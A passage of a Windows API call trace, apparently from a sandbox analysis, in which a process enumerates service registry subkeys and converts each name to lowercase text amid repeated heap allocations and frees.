returned 1 [0248.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0248.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0248.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0248.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0248.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.785] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.785] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.785] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0248.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 